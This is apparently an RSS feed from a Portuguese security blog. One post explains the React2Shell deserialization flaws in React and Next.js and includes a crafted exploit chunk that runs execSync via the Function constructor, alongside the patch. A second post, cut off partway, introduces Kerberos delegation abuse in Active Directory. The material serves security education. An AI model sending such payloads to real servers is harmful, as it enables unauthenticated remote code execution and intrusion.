<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Hacking Club]]></title><description><![CDATA[CTF, Hacking & Cyber Security]]></description><link>https://blog.hackingclub.com/</link><image><url>https://blog.hackingclub.com/favicon.png</url><title>Hacking Club</title><link>https://blog.hackingclub.com/</link></image><generator>Ghost 5.82</generator><lastBuildDate>Sat, 11 Apr 2026 13:24:26 GMT</lastBuildDate><atom:link href="https://blog.hackingclub.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[CVE-2025-55182 e CVE-2025-66478 — Vulnerabilidades Críticas (CVSS 10) em React e Next.js]]></title><description><![CDATA[<p>O <strong>React</strong> e o <strong>Next.js</strong> est&#xE3;o entre as tecnologias mais utilizadas no desenvolvimento web moderno, sustentando aplica&#xE7;&#xF5;es cr&#xED;ticas em escala global. No entanto, essa popularidade tamb&#xE9;m os torna alvos de alto valor em cen&#xE1;rios de <strong>Cyber Security</strong>, <strong>pentests</strong></p>]]></description><link>https://blog.hackingclub.com/uma-vulnerabilidade-nota-10-atingiu-react-e-next-js-cve-2025-55182-e-cve-2025-66478/</link><guid isPermaLink="false">69330861d72df2000162a661</guid><dc:creator><![CDATA[Carlos Vieira]]></dc:creator><pubDate>Fri, 05 Dec 2025 18:41:27 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/04/react2shell_-HC_BLOG.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/04/react2shell_-HC_BLOG.jpg" alt="CVE-2025-55182 e CVE-2025-66478 &#x2014; Vulnerabilidades Cr&#xED;ticas (CVSS 10) em React e Next.js"><p>O <strong>React</strong> e o <strong>Next.js</strong> est&#xE3;o entre as tecnologias mais utilizadas no desenvolvimento web moderno, sustentando aplica&#xE7;&#xF5;es cr&#xED;ticas em escala global. No entanto, essa popularidade tamb&#xE9;m os torna alvos de alto valor em cen&#xE1;rios de <strong>Cyber Security</strong>, <strong>pentests</strong> e pesquisas de vulnerabilidades.</p><p>Em <strong>3 de dezembro de 2025</strong>, foram divulgadas duas falhas cr&#xED;ticas: <strong>CVE-2025-55182 (React2Shell)</strong> e <strong>CVE-2025-66478</strong>, ambas com pontua&#xE7;&#xE3;o m&#xE1;xima (<strong>CVSS 10.0</strong>). Essas vulnerabilidades s&#xE3;o consideradas altamente explor&#xE1;veis e podem permitir desde acesso n&#xE3;o autorizado at&#xE9; <strong>Remote Code Execution (RCE)</strong>, comprometendo completamente aplica&#xE7;&#xF5;es baseadas nesses frameworks.<br><br><strong><em>Entendendo a vulnerabilidade</em></strong><br><br>Em arquiteturas que utilizam React Server Components (como o Next.js com App Router), o servidor renderiza componentes e os envia para o navegador. Para realizar essa comunica&#xE7;&#xE3;o, estruturas de dados complexas (objetos) precisam ser convertidas em um fluxo de texto via HTTP (serializa&#xE7;&#xE3;o) e reconstru&#xED;das quando o servidor recebe uma requisi&#xE7;&#xE3;o ou resposta (desserializa&#xE7;&#xE3;o) [2].</p><p><br>A vulnerabilidade reside no pacotereact-server e na forma como ele processa refer&#xEA;ncias de objetos durante a desserializa&#xE7;&#xE3;o. O mecanismo espec&#xED;fico de explora&#xE7;&#xE3;o envolve o Event Loop do JavaScript e o tratamento de opera&#xE7;&#xF5;es ass&#xED;ncronas. Quando o servidor utiliza o comando await para gerenciar tarefas em segundo plano, o Event Loop verifica se o objeto em quest&#xE3;o possui uma fun&#xE7;&#xE3;o chamada <code>.<strong>then()</strong></code>.</p><p>Se possuir, o sistema assume que o objeto &#xE9; uma &quot;Promise&quot; (promessa) e executa essa fun&#xE7;&#xE3;o <strong><code>.then()</code></strong> automaticamente para registrar o resultado da tarefa.<br>O React Flight permite que o servidor envie dados para o cliente (ou vice-versa) de forma fragmentada. Em vez de enviar um JSON gigante de uma vez, React e Next CVE 1 ele envia &quot;Chunks&quot; indexados por IDs. Esses chunks podem referenciar uns aos outros para reconstruir a &#xE1;rvore de dados final [4].</p><p><br>Cen&#xE1;rio Leg&#xED;timo (Exemplo de &quot;Frutas&quot; - adaptado do GitHub do msanft):<br>Imagine que o servidor quer enviar um objeto:</p><pre><code class="language-{ object: &apos;fruit&apos;, name: &apos;cherry&apos; }">
{ object: &apos;fruit&apos;, name: &apos;cherry&apos; }</code></pre><p> No protocolo Flight, isso pode ser quebrado em v&#xE1;rias partes interdependentes:</p><pre><code class="language-js">// Representa&#xE7;&#xE3;o simplificada do envio de dados (Chunks)
files = {
 &quot;0&quot;: (None, &apos;[&quot;$1&quot;]&apos;), // Chunk 0: &#xC9; uma lista que cont&#xE9;
m o Chunk 1
 &quot;1&quot;: (None, &apos;{&quot;object&quot;:&quot;fruit&quot;,&quot;name&quot;:&quot;$2:fruitName&quot;}&apos;),
 &quot;2&quot;: (None, &apos;{&quot;fruitName&quot;:&quot;cherry&quot;}&apos;), // Chunk 2: Dados brutos
}</code></pre><p>Ao processar isso, o React resolve as refer&#xEA;ncias ( $1 , $2 ) e monta o objeto<br>final corretamente.<br><br>2. A Falha: Refer&#xEA;ncias Inseguras (Prototype Pollution)<br><br>A vulnerabilidade (CVE-2025-55182) surge porque o mecanismo que resolve<br>essas refer&#xEA;ncias (ex: buscar fruitName dentro do Chunk 2) n&#xE3;o verificava se a<br>chave acessada era segura. Isso permitia acessar o prot&#xF3;tipo do objeto<br>JavaScript.</p><p>O C&#xF3;digo do Ataque (Acesso ao Construtor): Um atacante pode enviar um chunk que pede para o React buscar a propriedade constructor em vez de um dado leg&#xED;timo.</p><pre><code class="language-js">files = {
 &quot;0&quot;: (None, &apos;[&quot;$1:__proto__:constructor:constructor&quot;]&apos;), // Acessa o Constr
utor de Fun&#xE7;&#xF5;es
 &quot;1&quot;: (None, &apos;{&quot;x&quot;:1}&apos;),
}</code></pre><p>Ao desserializar isso, o resultado final n&#xE3;o &#xE9; um dado, mas sim o Construtor de Fun&#xE7;&#xE3;o (Function Constructor) do JavaScript. Ter acesso a esse construtor &#xE9; o primeiro passo para executar qualquer c&#xF3;digo arbitr&#xE1;rio.</p><h2 id="o-ataque">O Ataque </h2><p>Um atacante pode enviar uma payload HTTP especialmente criada onde ele for&#xE7;a a propriedade <code>.then</code> de um objeto a ser uma ferramenta de sistema perigosa ou um construtor de fun&#xE7;&#xF5;es (como o <code>Function Constructor do JavaScript</code>). Devido &#xE0; desserializa&#xE7;&#xE3;o insegura, o servidor n&#xE3;o valida corretamente a estrutura desses dados. Ao encontrar a propriedade <code>.then</code> maliciosa, o Event Loop &#xE9; enganado e executa o c&#xF3;digo do atacante no exato momento em que tenta registrar a tarefa, acreditando estar apenas resolvendo uma promessa leg&#xED;tima.</p><p>A CVE-2025-55182 refere-se &#xE0; vulnerabilidade na biblioteca <code>react-server</code> , enquanto a CVE-2025-66478 foi atribu&#xED;da ao Next.js por empacotar essa biblioteca vulner&#xE1;vel. Portanto, ao atacar um servidor Next.js, o atacante est&#xE1; explorando a falha de desserializa&#xE7;&#xE3;o do React.</p><p>Apenas ter o <code>Function Constructor</code> n&#xE3;o basta, pois o servidor executa o objeto resultante com <code>await</code> . O <code>await</code> passa fun&#xE7;&#xF5;es ( resolve , reject ) para o objeto, mas o <code>Function Constructor</code> espera uma string de c&#xF3;digo para compilar. Se o <code>await</code> chamar o construtor diretamente, ocorre um erro de sintaxe. </p><p>Para contornar isso, o exploit utiliza uma t&#xE9;cnica brilhante de manipula&#xE7;&#xE3;o de <code>chunks</code> para for&#xE7;ar o servidor a processar o payload duas vezes, permitindo alinhar os argumentos corretamente. O pesquisador msanft criou uma prova de conceito (PoC) para explora&#xE7;&#xE3;o da CVE-2025-55182 [4].</p><h2 id="passo-a-usar-para-pegar-o-chunk-bruto">Passo A: Usar $@ para pegar o &quot;Chunk Bruto&quot;</h2><p>O protocolo permite usar $@ para referenciar o objeto do chunk &quot;cru&quot; antes de ser resolvido. O atacante usa isso para sobrescrever o m&#xE9;todo <code>.then</code> do pr&#xF3;prio chunk com o m&#xE9;todo nativo <code>Chunk.prototype.then</code>. </p><h2 id="passo-b-o-gadget-b-blobs">Passo B: O Gadget $B (Blobs) </h2><p>Ao for&#xE7;ar o uso do <code>Chunk.prototype.then</code> , o atacante obriga o React a executar a fun&#xE7;&#xE3;o <code>initializeModelChunk</code> . Dentro dessa fun&#xE7;&#xE3;o, existe uma l&#xF3;gica para processar dados bin&#xE1;rios (Blobs), identificada pelo prefixo $B . O c&#xF3;digo vulner&#xE1;vel do React para processar $B faz algo assim:</p><pre><code class="language-js">// L&#xF3;gica interna do React (simplificada)
response._formData.get(response._prefix + id)</code></pre><p>O atacante controla tanto <code>_formData</code> quanto <code>_prefix</code> atrav&#xE9;s de um chunk malicioso.</p><h2 id="passo-c-o-payload-final-rce">Passo C: O Payload Final (RCE)</h2><p>O atacante monta um chunk onde:</p><p> 1. <code>_formData.get</code> &#xE9; substitu&#xED;do pelo <code>Function Constructor</code> (obtido via prototype pollution). </p><p>2. <code>_prefix</code> cont&#xE9;m o c&#xF3;digo malicioso (ex: <code>process.mainModule...</code> ). </p><p>O resultado &#xE9; que o React executa involuntariamente:</p><p> <code>Function(&quot;c&#xF3;digo malicioso&quot; + id)</code> . </p><p>Trecho do Payload de Explora&#xE7;&#xE3;o</p><pre><code class="language-js">crafted_chunk = {
 // 1. Sobrescreve o .then para for&#xE7;ar o reprocessamento via initializeMod
elChunk
 &quot;then&quot;: &quot;$1:__proto__:then&quot;,
 &quot;status&quot;: &quot;resolved_model&quot;,
 &quot;reason&quot;: -1,
 // 2. Define o valor a ser reprocessado usando o gadget de Blob ($B)
 &quot;value&quot;: &apos;{&quot;then&quot;: &quot;$B0&quot;}&apos;,
 &quot;_response&quot;: {
 // 3. O c&#xF3;digo malicioso (Note o coment&#xE1;rio // para anular o sufixo nu
m&#xE9;rico)
 &quot;_prefix&quot;: &quot;process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cal
c&apos;); // &quot;,
 &quot;_formData&quot;: {
 // 4. Aponta o m&#xE9;todo &apos;get&apos; para o Construtor de Fun&#xE7;&#xE3;o
 &quot;get&quot;: &quot;$1:constructor:constructor&quot;,
 },
 },
}</code></pre><p>Ao enviar esse chunk, o servidor o desserializa, o await dispara a cadeia de eventos manipulada, e o c&#xF3;digo &#xE9; executado antes mesmo de qualquer valida&#xE7;&#xE3;o de rota da aplica&#xE7;&#xE3;o. Mais detalhes e um script com a PoC completa voc&#xEA; pode ver no <a href="https://github.com/msanft/CVE-2025-55182?ref=blog.hackingclub.com" rel="noreferrer">GitHub do msanft.</a></p><h2 id="corre%C3%A7%C3%A3o-aplicada">Corre&#xE7;&#xE3;o aplicada</h2><p> C&#xF3;digo Vulner&#xE1;vel (antes do patch):</p><pre><code>// O servidor recebia metadados e acessava a propriedade diretamente
return moduleExports[metadata[NAME]];</code></pre><p>Isso permitia que um atacante enviasse uma refer&#xEA;ncia como <code>$1:__proto__:constructor:constructor</code> para obter acesso direto ao construtor <code>Function</code> do JavaScript, que permite criar e executar c&#xF3;digo dinamicamente.</p><h2 id="o-patch-corre%C3%A7%C3%A3o">O Patch (Corre&#xE7;&#xE3;o):</h2><pre><code>// Agora verifica se a propriedade existe legitimamente no objeto
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
 return moduleExports[metadata[NAME]];
}</code></pre><h2 id="dimens%C3%A3o-do-problema">Dimens&#xE3;o do problema </h2><p>A dimens&#xE3;o do problema &#xE9; imensa. Dados da Wiz Research [2] indicam que 39% de todos os ambientes em nuvem cont&#xEA;m inst&#xE2;ncias vulner&#xE1;veis de React ou Next.js. A falha em si &#xE9; uma vulnerabilidade de execu&#xE7;&#xE3;o remota de c&#xF3;digo (RCE) n&#xE3;o autenticada, e testes realizados por diversas empresas de seguran&#xE7;a mostraram que a explora&#xE7;&#xE3;o tem &quot;confiabilidade pr&#xF3;xima a 100%&quot;. Trata-se de uma falha l&#xF3;gica determin&#xED;stica no protocolo &quot;Flight&quot; usado pelos componentes do servidor React.</p><p>Essas vulnerabilidades n&#xE3;o s&#xE3;o resultados de configura&#xE7;&#xE3;o incorreta ou de um caso extremo obscuro. Um aplicativo Next.js padr&#xE3;o criado com create-nextapp &#xE9; explor&#xE1;vel por padr&#xE3;o, sem necessidade de altera&#xE7;&#xF5;es de c&#xF3;digo por parte do desenvolvedor. Essas CVEs revelam um problema mais profundo e sist&#xEA;mico sobre as concess&#xF5;es que fazemos na arquitetura de software moderna. Como observaram os pesquisadores da Unit 42: Em &#xFA;ltima an&#xE1;lise, esse incidente ressalta o atrito inerente entre desempenho e seguran&#xE7;a na arquitetura moderna [3]. Embora os componentes de servidor React otimizem a busca de dados e a otimiza&#xE7;&#xE3;o para mecanismos de busca (SEO) ao aproximar a l&#xF3;gica da fonte, eles simultaneamente aproximam a superf&#xED;cie de ataque dos dados mais sens&#xED;veis e valiosos das organiza&#xE7;&#xF5;es. Em outras palavras, o pr&#xF3;prio recurso projetado para tornar os aplicativos mais r&#xE1;pidos e eficientes &#x2014; os componentes de servidor React &#x2014; tamb&#xE9;m criou um caminho direto e n&#xE3;o autenticado para um invasor executar c&#xF3;digo no servidor.</p><h2 id="onde-estudar-mais-essa-vulnerabilidade">Onde estudar mais essa vulnerabilidade? </h2><p></p><p>O  Hacking Club prontamente disponibilizou um laborat&#xF3;rio vulner&#xE1;vel para voc&#xEA; treinar. </p><p>Acesse https:<a href="https://app.hackingclub.com/training/challenges/103?ref=blog.hackingclub.com" rel="noreferrer">//app.hackingclub.com/training/challenges/103 e venha explorar na pr&#xE1;tica o Rect2Shell!</a></p><p> Fontes:</p><p> [1] https://www.statista.com/statistics/1124699/worldwide-developer-surveymost-used-frameworks-web/ </p><p>[2] https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 </p><p>[3] https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-202566478-next/ </p><p>[4] https://github.com/msanft/CVE-2025-55182</p>]]></content:encoded></item><item><title><![CDATA[Como Atacar Delegações Kerberos (Unconstrained, Constrained e RBCD) em Active Directory]]></title><description><![CDATA[<p>Delega&#xE7;&#xF5;es Kerberos est&#xE3;o entre os mecanismos mais cr&#xED;ticos de autentica&#xE7;&#xE3;o no Active Directory, sendo amplamente exploradas tanto em ambientes Windows corporativos quanto em desafios hacking de CTF (Capture The Flag) voltados para Cyber Security e Ethical Hacking. Neste artigo, voc&</p>]]></description><link>https://blog.hackingclub.com/kerberos-delegation-attacks/</link><guid isPermaLink="false">671141b9d72df2000162a449</guid><category><![CDATA[kerberos]]></category><category><![CDATA[constrained delegation]]></category><category><![CDATA[unconstrained delegation]]></category><category><![CDATA[RBCD]]></category><category><![CDATA[kerberos delegation]]></category><dc:creator><![CDATA[Vitor (vtx) Oliveira]]></dc:creator><pubDate>Mon, 18 Nov 2024 22:24:38 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/_BASE_-HC_BLOG-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/_BASE_-HC_BLOG-2.jpg" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory"><p>Delega&#xE7;&#xF5;es Kerberos est&#xE3;o entre os mecanismos mais cr&#xED;ticos de autentica&#xE7;&#xE3;o no Active Directory, sendo amplamente exploradas tanto em ambientes Windows corporativos quanto em desafios hacking de CTF (Capture The Flag) voltados para Cyber Security e Ethical Hacking. Neste artigo, voc&#xEA; vai entender de forma pr&#xE1;tica o que s&#xE3;o as delega&#xE7;&#xF5;es Unconstrained, Constrained e Resource-Based Constrained Delegation (RBCD), por que elas existem e, principalmente, como essas configura&#xE7;&#xF5;es podem ser abusadas em ataques reais.</p>
<p>Durante a resolu&#xE7;&#xE3;o de desafios avan&#xE7;ados de CTF na plataforma do [HackingClub] (<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com">https://app.hackingclub.com/</a>), encontrei esse tema na pr&#xE1;tica e percebi como o fluxo de autentica&#xE7;&#xE3;o <strong>Kerberos Delegation</strong> pode ser confuso mesmo para quem j&#xE1; atua na &#xE1;rea. Por isso, este guia foi estruturado para esclarecer as d&#xFA;vidas mais comuns e demonstrar t&#xE9;cnicas ofensivas utilizadas por profissionais de seguran&#xE7;a e pentesters.</p>
<p>Antes de prosseguirmos, &#xE9; extremamente importante que voc&#xEA; conhe&#xE7;a e compreenda o funcionamento do protocolo de autentica&#xE7;&#xE3;o Kerberos, se isso ainda n&#xE3;o &#xE9; muito familiar, sugiro a leitura desse <a href="https://www.hackthebox.com/blog/what-is-kerberos-authentication?ref=blog.hackingclub.com">post</a> completo do HackTheBox.</p>
<h2 id="o-que-%C3%A9-kerberos-delegation">O que &#xE9; <strong>Kerberos Delegation</strong>?</h2>
<p>Kerberos Delegation surge como uma forma de solucionar as limita&#xE7;&#xF5;es do token impersonation ou tamb&#xE9;m como &#xE9; conhecido: <strong>client impersonation</strong>.</p>
<p><strong>Token impersonation</strong> &#xE9; uma feature do Windows que permite que um processo (seja servi&#xE7;o ou aplica&#xE7;&#xE3;o) assuma temporariamente a identidade de outro usu&#xE1;rio para acessar recursos <strong>locais</strong> no sistema, tais como, arquivos, pastas ou at&#xE9; outros servi&#xE7;os e processos, isso &#xE9; poss&#xED;vel pois o processo intermedi&#xE1;rio, que faz a impersona&#xE7;&#xE3;o, adquire um <em>token de seguran&#xE7;a</em> que reflete a identidade e permiss&#xF5;es do usu&#xE1;rio original. Esse token &#xE9; usado para acessar recursos <strong>locais</strong> com os mesmos direitos que o usu&#xE1;rio teria.</p>
<p>Perceba a men&#xE7;&#xE3;o com destaque em &quot;locais&quot;, pois &#xE9; aqui que reside a principal limita&#xE7;&#xE3;o do client impersonation: ele n&#xE3;o &#xE9; v&#xE1;lido para <strong>recursos remotos</strong>. O motivo para isso &#xE9; que o token de impersona&#xE7;&#xE3;o adquirido pelo processo intermedi&#xE1;rio geralmente n&#xE3;o inclui as credenciais de autentica&#xE7;&#xE3;o necess&#xE1;rias para serem transmitidas a outros sistemas. Em outras palavras, o processo que faz a impersona&#xE7;&#xE3;o n&#xE3;o pode usar esse token para autenticar-se em outros servidores da rede, sendo efetivo apenas no contexto da m&#xE1;quina local.</p>
<p>Essa limita&#xE7;&#xE3;o &#xE9; conhecida como o problema do <strong>double hop</strong>, onde o primeiro &quot;hop&quot; ocorre quando o cliente autentica-se no servidor intermedi&#xE1;rio, e o segundo &quot;hop&quot; falha porque o servidor intermedi&#xE1;rio n&#xE3;o consegue autenticar-se em outro recurso ou servi&#xE7;o remoto em nome do cliente original.</p>
<p>&#xC9; aqui que entra o <strong>Kerberos Delegation</strong>. O protocolo Kerberos permite a autentica&#xE7;&#xE3;o distribu&#xED;da em ambientes de rede, e a delega&#xE7;&#xE3;o Kerberos possibilita que um servi&#xE7;o intermedi&#xE1;rio, se autorizado, <strong>atue em nome do cliente</strong> e acesse outros recursos na rede, superando a limita&#xE7;&#xE3;o imposta pelo client impersonation. Com a delega&#xE7;&#xE3;o, um servi&#xE7;o intermedi&#xE1;rio pode &quot;delegar&quot; seu direito de autenticar-se em nome de um usu&#xE1;rio e agir em seu nome para acessar outros servi&#xE7;os ou servidores.</p>
<p>Dentro da delega&#xE7;&#xE3;o Kerberos, existem 3 tipos principais: <em>Delega&#xE7;&#xE3;o Irrestrita</em> (Unconstrained Delegation), <em>Delega&#xE7;&#xE3;o Restrita</em> (Constrained Delegation) e <em>Delega&#xE7;&#xE3;o Restrita Baseada em Recursos</em> (Resource-Based Constrained Delegation ou RBCD).</p>
<h2 id="tipos-de-delega%C3%A7%C3%A3o"><strong>Tipos de Delega&#xE7;&#xE3;o</strong></h2>
<h3 id="delega%C3%A7%C3%A3o-irrestrita"><strong>Delega&#xE7;&#xE3;o Irrestrita</strong></h3>
<p>O primeiro e mais b&#xE1;sico tipo de delega&#xE7;&#xE3;o introduzido pelo Kerberos &#xE9; a <strong>Unconstrained Delegation</strong>. Esta forma de delega&#xE7;&#xE3;o permite que um servi&#xE7;o/processo atue em nome de um usu&#xE1;rio para acessar qualquer outro servi&#xE7;o dentro do dom&#xED;nio, sem restri&#xE7;&#xF5;es espec&#xED;ficas. Isso significa que, uma vez que um servi&#xE7;o recebe o ticket de um usu&#xE1;rio, ele pode usar esse ticket para autenticar-se em qualquer outro servi&#xE7;o de rede.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/1.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<h4 id="como-funciona"><strong>Como funciona</strong></h4>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/2.jpg" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ul>
<li>O usu&#xE1;rio obt&#xE9;m um <em>TGT</em> v&#xE1;lido para a rede.</li>
<li>Aqui ocorre um detalhe muito importante que difere de uma autentica&#xE7;&#xE3;o padr&#xE3;o kerberos. O KDC ao perceber que o WebService tem permiss&#xE3;o de <strong>delega&#xE7;&#xE3;o irrestrita</strong>, ele inclui o <em>TGT</em> original do usu&#xE1;rio como parte do ticket.</li>
<li>WebService extrai o <em>TGT</em> do <em>ST</em> (Service Ticket) e realiza uma requisi&#xE7;&#xE3;o <em>TGS</em> para o servidor SQL (lembrando que poderia ser qualquer servi&#xE7;o, n&#xE3;o h&#xE1; essa limita&#xE7;&#xE3;o e controle em <em>delega&#xE7;&#xE3;o irrestrita</em>) em nome do usu&#xE1;rio.</li>
</ul>
<h4 id="casos-de-usos-comuns"><strong>Casos de usos comuns</strong></h4>
<p>Historicamente, a <strong>Delega&#xE7;&#xE3;o Irrestrita</strong> foi usada em servi&#xE7;os de proxy, onde um servidor intermedi&#xE1;rio precisava de acesso ilimitado a m&#xFA;ltiplos recursos de rede em nome de usu&#xE1;rios. No entanto, devido aos riscos de seguran&#xE7;a associados, esse tipo de delega&#xE7;&#xE3;o foi amplamente substitu&#xED;do por formas mais seguras, como a <strong>Delega&#xE7;&#xE3;o Restrita</strong>.</p>
<h3 id="delega%C3%A7%C3%A3o-restrita"><strong>Delega&#xE7;&#xE3;o Restrita</strong></h3>
<p><strong>Delega&#xE7;&#xE3;o Restrita (Constrained Delegation)</strong> surge como uma forma de fornecer mais seguran&#xE7;a &#xE0; antiga delega&#xE7;&#xE3;o <em>(Delega&#xE7;&#xE3;o Irrestrita)</em>. Nessa modalidade, o servidor intermedi&#xE1;rio pode agir em nome do usu&#xE1;rio, mas com restri&#xE7;&#xF5;es: ele s&#xF3; pode acessar servi&#xE7;os espec&#xED;ficos que foram previamente definidos. Isso resolve o problema de exposi&#xE7;&#xE3;o excessiva que a <strong>Delega&#xE7;&#xE3;o Irrestrita</strong> trazia, onde o servidor poderia acessar qualquer recurso dentro do dom&#xED;nio.</p>
<p>Antes de prosseguirmos, &#xE9; importante mencionar: h&#xE1; <em>dois</em> tipos de delega&#xE7;&#xF5;es restritas, sendo elas <em>kerberos only</em> e <em>transi&#xE7;&#xE3;o de protocolos (protocol transition)</em>, em adi&#xE7;&#xE3;o, aqui entra uma extens&#xE3;o do protocolo kerberos, chamada <strong>S4u</strong> ou <strong>Service for User</strong>.</p>
<h4 id="extens%C3%A3o-s4u"><em>Extens&#xE3;o S4u</em></h4>
<p>Anteriormente na Delega&#xE7;&#xE3;o Irrestrita, pudemos ver e analisar todos os passos do fluxo de execu&#xE7;&#xE3;o. Vimos que primeiro o usu&#xE1;rio solicita o <em>TGT</em>, logo em seguida o <em>ST</em> para o servi&#xE7;o com permiss&#xE3;o de delega&#xE7;&#xE3;o. Mas e se o usu&#xE1;rio n&#xE3;o estiver utilizando o protoco kerberos para se autenticar? Imagine um cen&#xE1;rio em que a autentica&#xE7;&#xE3;o &#xE9; feita via <strong>NTLM</strong> ou outro protocolo de autentica&#xE7;&#xE3;o que n&#xE3;o seja Kerberos. Sem Kerberos, o servi&#xE7;o intermedi&#xE1;rio n&#xE3;o teria como obter um ticket para agir em nome do usu&#xE1;rio, certo?</p>
<p>&#xC9; aqui que o <strong>S4U</strong> se torna crucial. Ele resolve esse problema ao permitir que o servi&#xE7;o intermedi&#xE1;rio ainda possa agir em nome do usu&#xE1;rio, mesmo quando o usu&#xE1;rio n&#xE3;o est&#xE1; autenticado diretamente via Kerberos. A extens&#xE3;o <strong>S4U</strong> adiciona flexibilidade ao protocolo, permitindo que o servidor solicite tickets para o usu&#xE1;rio, seja ele autenticado via <em>NTLM</em> ou outro protocolo e torna a <em>Delega&#xE7;&#xE3;o Restrita</em> poss&#xED;vel. Para realiza-lo, a extens&#xE3;o utiliza dois tipos de requisi&#xE7;&#xF5;es - <strong>S4U2Self</strong> e <strong>S4U2Proxy</strong>.</p>
<h4 id="s4u2self"><em>S4U2Self</em></h4>
<p>A requisi&#xE7;&#xE3;o <strong>S4U2Self</strong> &#xE9; um dos primeiros passos no processo de delega&#xE7;&#xE3;o restrita quando o usu&#xE1;rio n&#xE3;o est&#xE1; autenticado via Kerberos, mas o servi&#xE7;o intermedi&#xE1;rio precisa de um ticket Kerberos para atuar em nome desse usu&#xE1;rio. Quando o cliente se autentica usando um protocolo como <strong>NTLM</strong>, o servi&#xE7;o intermedi&#xE1;rio n&#xE3;o pode usar Kerberos diretamente, pois o usu&#xE1;rio n&#xE3;o forneceu um <strong>TGT</strong>.</p>
<p>Aqui &#xE9; onde o <strong>S4U2Self</strong> entra. Ele permite que o servi&#xE7;o, que j&#xE1; autenticou o usu&#xE1;rio via <em>NTLM</em> ou outro protocolo, fa&#xE7;a uma requisi&#xE7;&#xE3;o <em>TGS</em> ao KDC em nome do usu&#xE1;rio, mesmo sem o <em>TGT</em> original do cliente. O KDC valida se o servi&#xE7;o tem permiss&#xE3;o para emitir esse ticket em nome do usu&#xE1;rio e, se tudo estiver correto, emite o ticket para o pr&#xF3;prio servi&#xE7;o, permitindo que ele aja em nome do cliente sem que o usu&#xE1;rio tenha que interagir novamente.</p>
<h4 id="s4u2proxy"><em>S4U2Proxy</em></h4>
<p>Depois de obter o <em>ST</em> com a requisi&#xE7;&#xE3;o <strong>S4U2Self</strong>, o servi&#xE7;o intermedi&#xE1;rio pode precisar acessar outros servi&#xE7;os na rede em nome do usu&#xE1;rio. O ticket que ele obteve com o <strong>S4U2Self</strong> n&#xE3;o pode ser diretamente utilizado para acessar esses outros servi&#xE7;os. &#xC9; aqui que o <strong>S4U2Proxy</strong> se torna essencial.</p>
<p>A requisi&#xE7;&#xE3;o <strong>S4U2Proxy</strong> permite que o servi&#xE7;o intermedi&#xE1;rio solicite um <em>ST</em> adicional, mas desta vez, para um segundo servi&#xE7;o, em nome do usu&#xE1;rio. Assim, o servi&#xE7;o intermedi&#xE1;rio agora age como um &quot;proxy&quot;, usando o ticket do <strong>S4U2Self</strong> para obter novos tickets de servi&#xE7;o.</p>
<p>Mas h&#xE1; uma condi&#xE7;&#xE3;o importante: o servi&#xE7;o intermedi&#xE1;rio s&#xF3; pode acessar os servi&#xE7;os para os quais ele tem permiss&#xE3;o. Isso &#xE9; controlado pelas configura&#xE7;&#xF5;es de <strong>Delega&#xE7;&#xE3;o Restrita</strong> (Constrained Delegation) definidas.</p>
<h3 id="delega%C3%A7%C3%A3o-restrita-protocol-transition"><strong>Delega&#xE7;&#xE3;o Restrita (Protocol Transition)</strong></h3>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/3.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>A imagem acima mostra como a configura&#xE7;&#xE3;o de <strong>Transi&#xE7;&#xE3;o de Protocolos</strong> se parece. Podemos ver que configuramos a m&#xE1;quina <code>delegation$</code> para ter permiss&#xE3;o de delega&#xE7;&#xE3;o para <code>MSSQLSvc/sql_svc.molonlabe.local</code>. Ao fazer isso, a flag <code>TRUSTED_TO_AUTH_FOR_DELEGATION</code> tamb&#xE9;m &#xE9; definido no UAC. Al&#xE9;m disso, o servi&#xE7;o na qual ele possui permiss&#xE3;o de delega&#xE7;&#xE3;o &#xE9; armazenado no atributo <code>msDS-AllowedToDelegateTo</code>.</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/4.png" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<p>A <strong>Delega&#xE7;&#xE3;o Restrita com Transi&#xE7;&#xE3;o de Protocolos (Protocol Transition)</strong> resolve o problema de cen&#xE1;rios onde o usu&#xE1;rio n&#xE3;o est&#xE1; autenticado diretamente via Kerberos. Nesse caso, o servi&#xE7;o intermedi&#xE1;rio usa o <strong>S4U2Self</strong> para solicitar um ticket Kerberos em nome do usu&#xE1;rio, permitindo que o servi&#xE7;o atue em nome do cliente mesmo que ele tenha se autenticado via outro protocolo (como NTLM).</p>
<p><img src="https://blog.hackingclub.com/content/images/2024/10/5.jpg" alt="Como Atacar Delega&#xE7;&#xF5;es Kerberos (Unconstrained, Constrained e RBCD) em Active Directory" loading="lazy"></p>
<ul>
<li>O User se autentica ao WebServer utilizando NTLM.</li>
<li>WebServer envia S2U4Self para o KDC, obtendo um ticket v&#xE1;lido para s&#xED; pr&#xF3;prio (Um detalhe importante que iremos abusar depois, apenas o nome do usu&#xE1;rio &#xE9; inclu&#xED;do na requisi&#xE7;&#xE3;o, sendo poss&#xED;vel obter um ticket para qualquer usu&#xE1;rio)</li>
